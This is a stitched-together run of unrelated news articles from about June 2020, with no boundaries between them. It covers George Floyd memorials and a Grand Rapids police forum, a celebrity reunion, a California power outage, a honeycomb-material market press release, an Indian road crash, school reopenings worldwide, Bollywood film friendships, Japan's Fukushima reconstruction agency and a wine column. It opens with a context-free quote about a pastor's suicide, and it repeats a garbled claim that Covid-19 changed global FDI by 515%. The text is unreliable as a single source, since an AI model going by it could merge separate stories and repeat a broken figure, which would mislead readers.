The man of God had challenges in his marriage and I am sure it was one of the reasons why he committed suicide but as traditional leaders, we will perform some rituals to pacify the gods before he is sent to the mortuary, Asafoatse Duah Quaye said.

---citinewsroom
Minneapolis: Prominent civil rights activist the Reverend Al Sharpton told mourners at George Floyd's memorial that his fatal encounter with police marked a reckoning for America over race and justice, demanding: "Get your knee off our necks".

Delivering the eulogy at a memorial service inside a university chapel in Minneapolis, Sharpton said Floyd's fate  dying in police custody, pinned to the ground under the knee of a white officer  symbolised the collective experience of African Americans.

The Reverend Al Sharpton speaks at a memorial service for George Floyd at North Central University in Minneapolis. Credit:AP

"George Floyd should not be among the deceased. He did not die of common health conditions. He died of a common American criminal justice malfunction," Sharpton said. "It's time for us to stand up in George's name and say, 'Get your knee off our necks'."

Sharpton led mourners in eight minutes and 46 seconds of silence, the amount of time Floyd lay on a Minneapolis street with a knee pressed into his neck.
Katie Price enjoyed a socially-distanced reunion with her terminally-ill mother Amy, who has idiopathic pulmonary fibrosis, as they saw each other for the first time in ten weeks on Thursday.

The former glamour model, 42, appeared in great spirits as she brought her eldest child Harvey, 18, along while her beloved parent was joined by her husband Paul at their home.

Despite being separated by a fence, the group made the best of the 'bittersweet' meeting by engaging in a lively conversation after UK Prime Minister Boris Johnson lightened the laws on the nation's coronavirus lockdown.

Together again: Katie Price reunited with her terminally-ill mother Amy after 10 weeks apart on Thursday (pictured with son Harvey and step-dad Paul)

The former Loose Women panellist couldn't contain her delight as she reached over to her mother from a distance alongside her son.

Katie nailed sporty chic in a black shirt dress, which she styled with platform trainers and a trendy bumbag.

With her dark tresses worn in a ponytail, the Brighton native complemented her features with matte foundation.

Amy, who was diagnosed with the condition in 2017, grinned from ear-to-ear as she relished in the rare company of her loved ones.

In good company: The former glamour model, 42, appeared in great spirits as she brought her eldest child Harvey, 18, along

Cheery: Her beloved parent, who has idiopathic pulmonary fibrosis, was joined by her husband Paul at their home

Over the moon: The former Loose Women panellist couldn't contain her delight as she reached over to her mother from a distance alongside her son

All in the details: Katie nailed sporty chic in a black shirt dress, which she styled with platform trainers and a trendy bumbag

Idiopathic pulmonary fibrosis (IPF) is a condition in which the lungs become scarred, which results in breathing difficulties.

IPF kills more people in the UK than leukaemia, brain or stomach cancer  yet few people have heard of it and research is chronically underfunded, according to experts.

On their reunion, sources recently told MailOnline: 'It was wonderful news to receive - however bittersweet as Katie cannot yet give her mother a cuddle.





'Amy has been in isolation for more than ten weeks, she was one of the first into the shielding program...





Her happy place: Amy, who was diagnosed with the condition in 2017, grinned from ear-to-ear as she relished in the rare company of her loved ones

Keeping warm: She wore a white padded jacket as she wrapped up against the slightly-chilly weather

Tender moments: After the meeting, the media personality sweetly embraced Harvey, who recently turned 18

Radiant: With her dark tresses worn in a ponytail, the Brighton native complemented her features with matte foundation

'Being such a close knit family it has been odd not being able to be physically greet one another. Katie is as many others in their situation still very cautious - it is the new normal and how life is going to be for some time to come...

'Katie will be the first over to her mum's when cuddle gate is over!'

In April, Katie was forced to communicate with Amy through a window due to the coronavirus crisis in scenes on her reality show.

In the one-off special for My Crazy Life, the TV star was left shocked to discover the UK has plunged into lockdown after being released from The Priory following a string of personal issues.

Sweet: The pair continued to cuddle as they made their way home

So close yet so far away: On their reunion, sources recently told MailOnline: 'It was wonderful news to receive - however bittersweet as Katie cannot yet give her mother a cuddle'

'I can't even hug her, it's so, so sad': The reality star previously fought back tears as she reflected on being separated from her mum

The reality star fought back tears as she reflected on being separated from her mum, detailing: 'I can't even hug her, it's so, so sad.'

In the heartbreaking clip, the media personality detailed her rehab experience, before explaining her surprise at the previous isolation requirements held in place by the government following her stint.

During a phone conversation, she said: 'I've come out the hospital, realising everyone has gone and isolated themselves!'

Off they go: Katie and Harvey linked arms as they walked back to her car

Tasty snack: The celebrity offspring tucked into a biscuit as he enjoyed some quality time with his mother

On the mend: The brunette was spotted outside the The Priory in February, following a host of rehab stints over the past two years in the wake of legal issues and substance abuse

The former I'm A Celebrity star was later seen arriving at Amy's house, with the pair sharing a kiss through a window and holding their hands up against a door.

'Love you and I'll see you soon', Katie sadly told her mum, who falls within the high risk category of those more vulnerable to COVID-19 due to her terminal lung condition.

She was spotted outside the The Priory in February, following a host of rehab stints over the past two years in the wake of legal issues and substance abuse.

The episode saw Katie in the run up to her breakdown as she tried to cope with bankruptcy and her split from on-off fiance Kris Boyson.

She last visited The Priory in September 2018 and spent 28 days in the facility after her family urged her to seek help following wild partying antics in Mallorca.

At the time, she was confronted by her loved ones after shocking footage emerged of her rapping 'I love coke' during a booze-fuelled hen do.

WHAT IS IDIOPATHIC PULMONARY FIBROSIS? Idiopathic pulmonary fibrosis (IPF) is a condition in which the lungs become scarred and breathing becomes increasingly difficult. It's not clear what causes it, but it usually affects people around 70-75 years of age and is rare in people under 50. Several treatments can help reduce the rate at which IPF gets worse, but there's currently no treatment that can stop or reverse the scarring of the lungs. The symptoms of IPF tend to develop gradually and get slowly worse over time. Symptoms can include: shortness of breath

a persistent dry cough

tiredness

loss of appetite and weight loss

rounded and swollen fingertips (clubbed fingers) There is no cure and it's very difficult to predict how long someone with IPF will survive at the time of diagnosis. Regular monitoring over time can indicate whether it's getting worse quickly or slowly. Source: NHS Choices Advertisement

The mother-of-five broke down after the intervention and admitted she needed help to get over her chaotic behaviour, which she blamed on her PTSD.

In November 2019, she was declared bankrupt at a court after facing further legal action over her spiralling debts, said to be worth 800,000.

The CBB star had been pursued by creditors and the taxman after revealing she has spent her entire 45million fortune.

Heartbreaking: In April, Katie was forced to communicate with Amy through a window due to the coronavirus crisis in scenes on her reality show

'Love you and I'll see you soon': The former I'm A Celebrity star was later seen arriving at Amy's house, with the pair sharing a kiss through a window and holding their hands up against a door
PG&E power outage in San Andreas and Mokelumne Hill areas View Photo

Update at 8:45 p.m.: PG&E crews have made progress on getting the lights turned back on for some of the 3,500 customers in the San Andreas and Mokelumne Hill area that lost power in Calaveras County. The utility says 2,730 remain in the dark and give an 11 p.m. estimated repair time. While the company has not released a cause for the outage, it came at the same time as a fire ignited at an electrical substation along Pool Station Road in the San Andreas area, as detailed here. Information regarding an earlier power outage along the Highway 4 corridor affecting 4,100 customers are below.

Original post at 6:50 p.m.: San Andreas, CA  PG&E is reporting a new power outage impacting nearly 3,500 customers in the Calaveras County area.

The outage stretches from Fourth Crossing along Highway 49 to Rich Gulch along Highway 26. It includes San Andreas including along Pool Station Road, Calaveritas, Mountain Ranch, Jesus Maria, and Mokelumne Hill. The utility has crews en route to the outage site to investigate a cause. An estimated 8:15 p.m. restoration time has been given.

As reported here earlier today, another power outage affected 4,100 customers spanning outside of Angles Camp all the way up the Highway 4 corridor to the Murphys area had all of the customers lights back on by around 5 p.m.
Rise in demand from the aerospace industry and surge in applications in the automotive industry drive the growth of the global honeycomb sandwich material market. The market across Asia-Pacific is estimated to register the fastest CAGR of 7.1% during the study period. The current pandemic is expected to hamper the market growth to some extent.

Portland, OR, June 04, 2020 (GLOBE NEWSWIRE) -- As per the report published by Allied Market Research, the global honeycomb sandwich material market garnered $1.3 billion in 2019, and is estimated to hit $2.1 billion by 2027, registering a CAGR of 6.2% from 2020 to 2027.

Increase in demand from the aerospace industry coupled with rise in application in the automotive industry drives the growth of the global honeycomb sandwich material market. However, the capital-intensive nature of market hinders the market growth. On the contrary, emerging 3D printing technology would open new opportunities for the market players.

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Covid-19 Scenario: The emergence of Covid-19 has drastically impacted the global honeycomb sandwich material industry.

As per the United Nations Conference on Trade and Development (UNCTAD), the outbreak of Covid-19 has impacted the global FDI by 515%. This negative impact on FDI investment hampered the manufacturers due to the dearth of raw materials and lockdown across various countries.

As the manufacturing sector is a major part of a countrys economy, the governments are focused on encouraging the manufacturing sector. This would help regain growth rate of honeycomb sandwich material market post this pandemic.



Get Detailed COVID-19 Impact Analysis on the Honeycomb Sandwich Material Market @: https://www.alliedmarketresearch.com/request-for-customization/610?reqfor=covid

The global honeycomb sandwich material market is divided on the basis of material type, application, technology, and geography. Based on material type, the market is segmented into aluminum, steel, composites, titanium, Inconel, and others. The composite segment is expected to register the highest CAGR of 6.7% during the forecast period. However, the aluminum segment held the largest share in 2019, accounting for nearly one-third of the market.

Story continues

On the basis of vehicle type, the market is classified into aerospace, automotive, marine, locomotive, construction, and others. Based on application, the market is divided into expansion, corrugation, molding, extrusion, and others. The expansion segment is anticipated to manifest the fastest CAGR of 6.5% from 2020 to 2027. Moreover, the same segment dominated in 2019, accounting for nearly two-fifths of the market.

For Purchase Enquiry at: https://www.alliedmarketresearch.com/purchase-enquiry/610

The global honeycomb sandwich material market is analyzed across several regions such as North America, Asia-Pacific, Europe, and LAMEA. The market across Asia-Pacific is estimated to register the fastest CAGR of 7.1% during the study period. However, the market across North America contributed the largest share in 2019, holding nearly two-fifths of the market.

The global honeycomb sandwich material market report includes an in-depth analysis of the major market players such as Encocam Ltd., Benecor Inc., Honeylite, Encore N.V., Pacific Panels, Hexcel Corporation, Gill Corporation, Foshan Liming, Schweiter Technologies, and Samia.

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Nine people were killed when an SUV collided head-on with a container truck on the Lucknow-Prayagraj highway in Uttar Pradesh on Friday, police said.

A youth suffered serious injuries in the accident and has been hospitalised.

The SUV was going from Rajasthan to Bhojpur in Bihar when the accident took place near Wajidpur village in the Nawabganj area, about 70 km from here.

Those killed are three women, two children and four men, said Radheyshyam Maurya, the Police Circle Officer of Kunda. They are yet to be identified, he said.

The driver of the container truck managed to flee from the spot after the accident.

Uttar Pradesh Chief Minister Yogi Adityanath expressed his condolence to the families of the deceased and directed officials to ensure proper treatment of the injured.
Author William provides in-depth teachings about yoga to uplift the practitioner's perception of the philosophy and practice of its foundation: "The generous amount of asanas that Yolyanko William has rendered in these series of drawings demonstrates that, symbolically speaking, the physical body can be lost in an immense sea of visual energy. This imagery of voluptuous lines and simplified figural sketches goes beyond the mere intention to give a didactic account of the practice of yoga. It only takes a few glimpses of these images to perceive the innumerable amount of physical and psychological benefits that these yoga postures offer. In the words of the ancient Yogi Pantajali, the word asana is defined as a firm posture of the body which shows relaxation at the same time. In this group of practical and mystical graphics, the serene quality that allows the body to be prepared for meditation is perceived in the confident and gestural line of the artist."

Published by Page Publishing, Yolyanko William's educational book also features visuals that effectively supplement the explanations for better navigation of the book and the internalizing of its intent and purpose.

Readers who wish to experience this efficacious work can purchase "Graphikasana: Hatha Yoga" at bookstores everywhere or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble.

For additional information or media inquiries, contact Page Publishing at 866-315-2708.

About Page Publishing:

Page Publishing is a traditional full-service publishing house that handles all of the intricacies involved in publishing its authors' books, including distribution in the world's largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create, not bogged down with complicated business issues like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and the like. Its roster of authors can leave behind these tedious, complex, and time-consuming issues, and focus on their passion: writing and creating. Learn more at www.pagepublishing.com.

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Source: Xinhua| 2020-06-05 06:39:43|Editor: huaxia

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People attend a memorial service to honor the life of George Floyd in New York, the United States, June 4, 2020. Thousands of New Yorkers gathered on Thursday for a memorial service to honor the life of George Floyd, whose death last week has sparked protests across the United States and beyond over police brutality and racism. Floyd's brother, Terrence Floyd, joined some 5,000 people in Brooklyn's Cadman Plaza on Thursday afternoon. Wearing a shirt with George Floyd's picture on it, the Brooklyn resident thanked New Yorkers for showing love to his brother. (Xinhua/Wang Ying)

NEW YORK, June 4 (Xinhua) -- Thousands of New Yorkers gathered on Thursday for a memorial service to honor the life of George Floyd, whose death last week has sparked protests across the United States and beyond over police brutality and racism.

Floyd's brother, Terrence Floyd, joined some 5,000 people in Brooklyn's Cadman Plaza on Thursday afternoon. Wearing a shirt with George Floyd's picture on it, the Brooklyn resident thanked New Yorkers for showing love to his brother.

He said he is proud of the protests but not the destruction, referring to the violence and looting that had emerged in demonstrations.

"My brother wasn't about that," he added.

Local officials, including New York City Mayor Bill de Blasio and New York State Attorney General Letitia James, also joined the vigil.

"George Floyd cannot have been allowed to die in vain," said the mayor. "We will make a peaceful change. To the Floyd family, we stand with you. Black lives matter in this city. Black lives matter in America."

Terrence Floyd then led the protesters on a march across the Brooklyn Bridge to Manhattan's Foley Square under the scorching sun.

New York Governor Andrew Cuomo at Thursday's briefing called for a moment of silence at 2 p.m. in the state as a memorial service for Floyd began in Minneapolis, where he lived and died.

New York City, which has seen protests for the same purpose staging for over a week, is scheduled to enter the fourth night under curfew at 8 p.m. on Thursday.
Well beyond a billion students were sent home from schools as the novel coronavirus spread around the world.

In recent weeks, hundreds of millions were cleared to return, as countries began to reopen in fits and starts.

By late March, less than two months after the confirmation of the first coronavirus cases outside China, more than 90 percent of the world's students were already affected by school closures, according to estimates by the U.N. Educational, Scientific and Cultural Organization, known as UNESCO. Stuck at home for months, they found themselves part of a global web of hastily implemented experiments in home schooling, remote learning and social distancing.

At the height of such measures in April, nearly 1.6 billion students were affected, according to UNESCO, with 194 countrywide closures. As of June 5, more than 1.1 billion students remain affected - more than 64 percent of the world's total, with 134 countrywide closures still in place.

Even in countries without school shutdowns enforced at the national level, disruptions to education remain widespread. In the United States, measures vary at the local level, but the majority of states have mandated closures through the end of the year.

The students for whom school closures have lifted will be the subjects of a new, global experiment, as educators and policymakers try to determine what classrooms should look like during the pandemic.

Here's how some countries around the world are handling the return.

Britain

Britain reopened its schools in early June, sending hundreds of thousands of students back to the classroom, for the first time since March 18. But it was very much a partial reopening: Outside of England, the semiautonomous governments of Scotland, Wales and Northern Ireland have chosen to wait until August or later.

Within England, the return varied substantially, with dozens of local authorities opting to keep their schools shuttered. Officials pushed especially for the return of children in the equivalent of kindergarten, first grade and sixth grades - identified as "key transition years" by the British government. Going back to school is encouraged, not mandatory.

Many parents appear to have decided to keep their children at home. A survey by the National Foundation for Educational Research said 46 percent of parents were planning to do so. A union for head teachers told the BBC that attendance was generally between 40 percent and 70 percent.

More for you Michigan K-12 schools invited to apply for wellness program

Brazil

In Brazil, home to the second-largest number of confirmed cases in the world, President Jair Bolsonaro has taken a laissez faire approach to the coronavirus and publicly rejected calls to reopen schools. "What has happened in the world has shown that the people at risk are older than 60," Bolsonaro said in a national address in late March. "So why close the schools?"

Without a coordinated national response, local officials decide on school closures. Most of the countries schools had stopped in-person classes by late March. Despite the continued spread of the coronavirus within Brazil, some municipal governments have said that they intend to reopen schools soon.

China

In mid-January, China told nearly 200 million students that they would not be returning to school after their winter break - part of a broader lockdown on the virus epicenter of Hubei province and other hard-hit regions.

This early lockdown, also adopted in Hong Kong, prefigured measures that would spread around the world. But as the outbreak waned in China, parts of the country also became some of the earliest places to see children return to schools.

UNESCO said that school openings in China have been "progressive," generally starting with students in the last year of their secondary school education. In Wuhan, the pandemic's initial epicenter, schools reopened in early May, but children had to pass through temperature checks, wear masks and enter and leave at specific times to avoid crowding.

Denmark

Denmark announced it would close its schools on March 11. Just a month later, it became the first country in Europe to reopen them, with almost all primary schools operating by April 20.

Although some parents kept their children at home, many were confident in the government guidelines on sanitization and social distancing (including that desks must be about six feet apart and recesses staggered to avoid crowds). Older children went back to school in late May.

So far, there have been no signs of a coronavirus resurgence - new cases continued to decline as schools reopened, a trend also seen in some other European countries. In Norway, which began reopening April 20, Prime Minister Erna Solberg told NRK broadcaster that it might not have been necessary to close schools, but that she did not regret the decision.

Japan

Japan closed its schools later than some of its neighbors, with Prime Minister Shinzo Abe asking only in late February for schools to shut their doors. In March, the Japanese government announced it would not extend this request and would leave the decision up to municipalities, who would have guidelines to follow.

Some schools began reopening in early May, with students in their first or last year prioritized and others asked to begin a few weeks later. Some schools in hard-hit cities or regions are to remain closed, while schools that reopen are undertaking a variety of measures to prevent overcrowding, including smaller classes, face masks and staggered start times.

Japan is concerned about the possibility of a second wave of infections. After recording no new cases from April 30 to May 22, the city of Kitakyushu in Fukuoka prefecture saw 119 cases in the just 11 days - including 11 pupils from four elementary and junior high schools - prompting an order to re-close schools.

New Zealand

New Zealand entered its strictest level of lockdown with mandatory school closures on March 23, when it had confirmed 102 cases. But within six weeks, the country announced it would be easing these restrictions because of positive signs about the viruses' spread.

In late April, the government relaxed the lockdown from Level 4 to Level 3, with schools reopening but parents told to keep their children home if possible. On May 18, it was dropped to Level 2, allowing hundreds of thousands more students to return to the classroom.

Under the current standards, as the country approaches zero infections, there are few restrictions on healthy children. The government said that "people need to play it safe and continue to take sensible health and safety precautions."

Nigeria

Nigeria announced it would close all schools in the country on March 19. At the time, it had 12 confirmed cases, though that number has since bloomed to more than 10,000, with 287 confirmed deaths so far. More than two months later, schools remain closed. The government has indicated it hopes to allow local governments to reopen schools in the coming weeks, despite a surge in cases.

South Korea

In late February, the South Korean government told students that their break would be extended by one week. It was then extended by two more, and then indefinitely as the coronavirus spread. Schools began to reopen months later in late May, with high school seniors returning first.

That initial reopening was delayed by a week after an outbreak in Seoul's nightlife district of Itaewon. And just days after the first students set foot back in the classroom, hundreds of schools were closed after a sudden spike in new cases.

The students who have gone back must adhere to a variety of measures designed to limit any potential spread, including plastic screens over their desks, masks and temperature checks. But the government has been determined to reopen, noting that children had not even been kept at home during the Korean War.

"I believe that we cannot fail the dreams and future of our children because of the current difficulties," Prime Minister Chung Sye-kyun said this week.

South Africa

South Africa announced on March 18 it would close all schools indefinitely. The last years of primary and secondary school, grades 7 and 12, respectively, were supposed to return to school at the start of June, that plan was abandoned after teachers' unions and governing associations refused to back it.

Teachers have said they do not have enough protective equipment to keep themselves and their students safe. In response to the backlash, South Africa's Department of Basic Education said that school reopening would be delayed by a week so that schools could prepare for the arrival of students.

Taiwan

Taiwan, with fewer than 500 confirmed coronavirus cases, has managed to control the spread of the infection without taking many of the draconian measures seen elsewhere.

This extends to school closures: Although the government extended winter break for an extra two weeks in February, it reopened schools as normal by Feb. 25 and most education has run on a regular schedule since then, albeit with strict sanitary measures in place.

Schools and universities close if they confirm a case among students and staff, but that has been rare: Only one school had shut its doors by the start of April, along with a handful of universities.
For years, Bollywood taught us that "Pyaar dosti hai.."

KKHH

Movies kept highlighting that real-friendship is only about Goa trips or a Bachelor trip to picturesque locales of Europe or that friendship is only about showing up, 3 am phone calls, or just being the 'Banno ki saheli' at the wedding.

Bollywood friendship

Thankfully, Bollywood filmmakers moved beyond the standards set by Jai-veeru, Dil Chahta Hai, Baburao-Raju-Shyam, 3 Idiots and Munnabhai MBBS and chose to explore some different waves of friendship.

Sholay

Films explored same-sex bonds with a different lens and proved that men can be empaths and show up for each other without taking the pressure of being a 'constant'.

A few films also proved that age or the difference of status has nothing to do with a real-bond. Sometimes, it's all about understanding each other's vulnerabilities and empowering each other.

To investigate how Bollywood expanded its horizons and viewed friendship with different prisms, we list down 13 pairs who redefined the 'ghisa pita' notions of a filmy friendship and gave viewers a different take. Read on!

1. Saajan Fernandez and Shaikh in The Lunchbox

Twitter

Shaikh: "The wrong train can take you to the right station.

"For 35 years, without error or complaint, Saajan Fernadez, a senior accountant is shown being invested in his wooden work desk, which is stacked with files and papers. The way he keeps his accounts with a ruler and pencil tells us he is traditional and keeps himself away from changes. As a widower, Sajan is that grumpy man who even you would end up avoiding at work.

He avoids human interaction as much as possible, only to guard himself in isolation. He comes across as an uninviting person but during his last days at work, he develops a strange friendship with Shaikh.

Shaikh, Saajan's colleague, and his official replacement keeps approaching him for work offloading. He expresses his desire to learn Saajan's work. Their big and small encounters unknowingly form a bond. From having a bare minimum chat on the lunch desk to showing up for a wedding at Shaikhs family, this bond is heartwarming and rare!

2. Kalyani and Chuyia in Water





Chuyia's Father: [to young Chuyia] Child. Do you remember getting married? Your husband is dead. You're a widow now.

Before she could even start living her life, eight-year-old Chuyia is declared a widow after the death of her much older husband. She is forcefully sent to a house of widows, her hair is chopped off and she is forced to eat one meal a day. The rituals around her deprived her of feeling joy or eating sweets. Chuyia clings on to hope and she does find a ray of sunlight in Kalyani. They find solace in each others company. They secretly pet a dog inside the ashram even though it was a taboo.

Breaking barriers, Kalyani and Chuyia develop a beautiful bond where they could feel each others pain and misery, despite a vast difference in their age.

3. Chaipau and Chillum in Salaam Bombay

Twitter

Chillum (Raghuvir Yadav) is a small-time drug selling bumpkin who has no big dreams or goals. Krishna, an eight-year-old boy who works at a tea stall gets a new name Chaipau (The Tea Boy). While making regular rounds in the notorious red-light area of Falkland Road -the Harlem of prostitutes, he befriends Chillum. They sing songs, wander and share their life stories. Chaipau develops a strange affection for Chillum to an extent that he begs and borrows to help a jobless Chillum so that he could buy himself drugs.

Sadly, Chillum dies due to drug overdose and Chaipau with his other neighborhood kid arranges his last rites. Even with a vast difference in age, it's Chaipau who was seen as a caretaker of a directionless Chillum.

4. Kaira and Jug in Dear Zindagi

A dejected Kaira develops a strange affection for her therapist Jug. While Jug remains in the confined space of his professional capacity, they both end up sharing some sweet moments during their therapy sessions. Kaira's affection turns into an infatuation for Jug but she handles her feelings and moves on in life, collecting and adapting her learnings from Jug. The equation between Kaira and Jug was refreshing and endearing.

5. Ila and Mrs. Deshpande in The Lunchbox

Lunchbox

You don't even see Mrs. Deshpande's face in the entire movie but her contribution to Ila's life can't be quantified. Apart from being window-neighbors who would communicate with each other, share recipes and ingredients from their respective houses, they also share details of their everyday lives. Ila, who is well aware of Mrs. Deshpande's bed-ridden husband finds her story deeply inspiring. Ritesh Batra captured their equation in the film so beautifully that you actually can feel their friendship without even watching them share the screen space in the film.

6. Ishaan and Ram Shankar Nikumbh in Taare Zameen Par

TZP

Ram Shankar wasn't just Ishaan's teacher or mentor. He was so inquisitive about Ishaan's behavioral pattern that he decides to dig deep and later on, finds about his diagnosis of dyslexia. Ishaan, who would otherwise be bewildered with human interaction, starts confiding in Ram. Their equation blossoms through the movie only to make Taare Zameen Par a ride worth remembering forever.



7. Meera and Zeenat in Dor

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"Itna maaloom he vo (khuda) meri madad zarur karega ! Mujhe yakeen hain, main in mafinaamon ke kagazaat par dastakhat kara ke hi lautungi..."



Zeenat traces Meera down so that she could get an apology letter signed by her. The letter also meant Zeenat's husband's freedom, who was accused of accidentally killing Meera's husband. While Zeenat's goal was to impress Mira who could eventually grant her, her husband's freedom, they end up developing a beautiful companionship. Meera, who is mostly seen in a Ghoonghat because of deep-rooted patriarchy, starts to enjoy small joys of life.

Zeenat's friendship liberates Meera, who is a widow. How often do you see a widow dancing on 'Keh Do Na, You're My Sonia' and enjoyed Rasgullas while society around her would impose taboos on her? Zeenat and Meera become each other's saviors in a journey called life.

8. Shiv Natraj and Taara Kapoor Deshpande in Waiting

Kalki

Two strangers, who are poles apart in every sense of the phrase meet at a weird time in their life. They are sailing in the same boat as they seek answers to the same question: Do their loved ones, who are battling death and life inside a hospital room deserve a second chance?

Their daily routine as patient's attendees would make their paths intersect every day and while grieving over their respective spouses' fatal-accidents and medical conditions, they seek comfort in each other.

They discover different stages of grief while dealing with bad news about their partners' deteriorating health every day. Shiv and Taara unknowingly become each other's closest companions in their toughest of times.



9. Pandit and Idris in Ghanchakkar

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First of all, if you still haven't watched Emraan Hashmi and Vidya Balan's film, you're missing out on a session of cheap thrills and doses of uninterrupted laughter. An obnoxious film in every way but there are still too many things to like in Ghanchakkar. Like, Pandit and Idris' friendship.

Even though it's their nature of work that often brings that together but the way they exchange glances and find ways of getting their money back from Sanjay is hilarious.

Rajesh Sharma and Namit Das will take you on a ride of a lifetime with their impeccable comic timing and bond in this film! Pandit and Idris could be your BFF goals (Not exaggerating!)

10. Kabir and Pluto in Dil Dhadakne Do

Dil Dhadakne Do

Kabir Mehra is often misjudged and misinterpreted by his filthy-rich family. His mother thinks a hot chocolate fudge from Nirulas or Chilli Cheese Toast could solve every trouble in his life. But what does Kabir want?

Kabir, who is often torn between his parents because of their cold war finds solace in his friendship with their pet Pluto (whose voiceover in the film is done by Aamir Khan). Kabir  and Pluto would keep exchanging looks while finding comfort in each other's presence. Thank you, Zoya, for at least comforting Kabir with one true friend.

11. Dr. Diwan and Chanda in Nil Battey Sannata

Twitter

While single mother Chanda (Bhaskar), a high-school drop-out, smoothly juggles between different menial jobs, she finds a friend in Dr. Diwan (Pathak), for whom she works as a maid. Chanda is constantly troubled by her daughter's indifferent and callous attitude and seeks Dr. Diwan's advice. Dr. Diwan, who is an empath and wants to help her domestic help in every possible way suggests that she hire a math tutor for Apu.

Dr. Diwan's constant encouragement for Chanda establishes a beautiful bond around their equation, which is otherwise divided by their stark socio-economic statuses.



12. Amrita and Shivani in Thappad

Thapppad

After years of making us believe that female friendships are only about gossiping or having 'four more shots' together, Anubhav Sinha's Thappad showed us a very different side. A friend is also someone who saves you from drowning or gives you a different perspective on life. Shivani Fonseca played by Dia Mirza is a single mother of a 13-year-old. Since her husband has passed away, several peopleincluding her concerned daughterkeeps insisting her to find a man and move on.

Even though Shivani is a side character (a neighbor) with minimum scenes in the main storyline, she plays an essential role in Amrita's moral-awakening and realizing how an apology is not always a duct-tape that can fix things. There is a scene when Shivani offers Amrita tea and tells her to sit and talk. She reminds Amrita that she can't be a woman who can easily let her dignity get shattered.

Shivani is still a grieving wife who is aware of her life's biggest tragedy- the death of her husband but she finds contentment in her daughter and her job, that keeps validating her hard work with promotions. Shivani teaches Amrita that a woman's dignity and liberation only lie in her own hands and no one has the right to take it away from her.

13. Goggle and Mudit in Shubh Mangal Zyaada Saavdhan

Twitter

Goggle Tripathi, who is desperate to find herself a groom keeps on getting disappointed. Her family disappoints her at every step and god has been unfair because she has an eye defect. Even though Goggle is a typical Indian girl who thinks marriage will validate her existence, her character evolves during the movie and she finally finds a will to live again, thanks to Mudit.

A dejected Mudit, whose gay love doesn't find acceptance somehow becomes Goggle's true life-guide and they both end up saving each other in the most bizarre situations! The film does not do full justice to the story and subject but we give full marks to Goggle and Mudit's railway station scene and how they both end up becoming each other's savior.
KYODO NEWS - Jun 5, 2020 - 14:53 | Japan, All

Japan's parliament approved Friday a 10-year extension to the lifespan of the government agency overseeing reconstruction of the area devastated by the 2011 earthquake, tsunami and nuclear disaster.

The Reconstruction Agency will now continue to promote recovery in the northeastern prefecture of Fukushima, and provide support to residents there and in other northeastern regions, until March 2031. The agency said there were still more than 46,000 displaced residents as of March 11, the ninth anniversary of the triple disaster.

However, the scope of tax breaks and other special deregulatory measures will be scaled down, and resources allocated more selectively to areas where rebuilding efforts are still under way, and to businesses struggling to overcome public fears and false rumors about radiation.

Government grants for infrastructure rebuilding will be terminated at the end of the current fiscal year to March 2021, as reconstruction of roads and houses is deemed to be sufficiently complete.

The agency will continue to be headed by a full-time minister, and its budget will remain separate from the general account. Reconstruction bonds, which help finance rebuilding, will continue to be issued by the government.

Under the basic policy on 2011 quake disaster reconstruction, approved by the Cabinet in December, the government aims to complete recovery in hard-hit Fukushima, Iwate, and Miyagi prefectures in northeastern Japan in the five fiscal years through March 2026, while sustaining support for nuclear disaster-stricken areas.

Related coverage:

Nuclear regulators' Fukushima crisis probe hit by coronavirus

Japan braces for double punch of coronavirus, natural disasters

Japan tsunami-hit area awaits next year's Olympics to show gratitude

Fukushima mothers record radiation for future generations
GRAND RAPIDS, MI  As a march against police brutality turned into a riot, Grand Rapids police Chief Eric Payne sought help from neighboring departments and called in every one of his off-duty officers.

The next day, he called in the Michigan National Guard.

I never wanted to do that but it became necessary, Payne said Friday, June 5, during a live-stream forum about policing in the city.

Payne responded to questions about police response to the riot, and concerns about the relationship of police with the black community.

Payne, who is black, said many in black America historically do not trust police. The May 25 killing of George Floyd, 46, who died with a Minneapolis police officers knee on his neck, is the latest flashpoint. Floyds death set off protests and, in some cases, riots, across the country.

The murder of George Floyd was tragic and traumatizing for all of those that watched him crying out, I cant breathe, Payne said.

It was traumatizing to me and very upsetting. And I would reiterate: It was a murder at the hands of a police officer."

He said it was especially painful for those black Americans who have been traumatized by law enforcement over the years.

This is not lost to me and this is not lost to the men and woman of the department, the police department. We can do much better and we will do better.

The department includes bias training and de-escalation of potentially volatile circumstances as part its ongoing training. Police are examining policies and procedures for bias.

Tear gas, pepper spray, the National Guard, those are not tools that heal communities, a caller said.

Payne said his goal is to keep residents and visitors safe.

He said that Internal Affairs is already looking at an incident that happened during the riot when a man was allegedly hit in the face by a police tear-gas canister fired at close range. The incident was shared on Twitter.

Payne said the investigation is a high priority.

Brandon Davis was recently appointed director of Oversight and Public Accountability.

His independent office oversees complaints against Grand Rapids police officers and firefighters. He will look into use of force policies and investigate systematic racism in the justice system.

My commitment is to justice, Davis said.

He reports directly to City Manager Mark Washington.

About 100 businesses were damaged, seven police cars were torched and looters took jewelry, clothing and liquor in the May 30 riot in downtown Grand Rapids.

He said he understood the anger touched off by Floyds killing but said protests should not turn violent. He said he backed those who speak out.

Continued voices, not continued violence.

Many callers said that Grand Rapids Police Department be de-funded, with the money put into public services  housing, education and healthcare - in poor neighborhoods. The Peoples Budget GR urged followers to call in.

Read more:

Grand Rapids police chief kneels, chants with protesters

Brandon Davis picked to head key Grand Rapids police oversight office

Young woman incited riot on her own Facebook Live video, police say
Over the past few weeks, we've discussed the various stages of wine appreciation. From reading the label and selecting wine in the store; to opening it and assessing its color in the glass; to smelling it and coaxing aromas of the vineyard, the vintage or just the grape; and finally sipping and savoring the wine's texture and structure, we've tried to decipher the story each wine has to tell.

Good wines really do have stories to tell. It may be simple, pleasant conversation, and that's fine most of the time. It may be the polemic of an argumentative teenager, challenging our worldview. Or a friend offering comfort and solace in turbulent times. All can be delicious, and all are valid. We just need to listen and pay attention. Those who say, "Who cares? Open the bottle, down the hatch, the cheaper the better," aren't listening. They insist on doing all the talking, because they may not realize they have something to learn.

You may have guessed by now that I've been reading the comments on my columns and defending my worldview over dinner. Both could make the wine taste more bitter, but they've actually been positive experiences, seasoned with some head shaking. And there has been good conversation, which can be like a fine wine.

When I wrote about wine's appearance, a reader with the handle "Mrs Bates" noted that I neglected to discuss the cork. "The cork tells some important details about the wine," Mrs Bates wrote. "It tells if the bottle was sealed and stored properly."

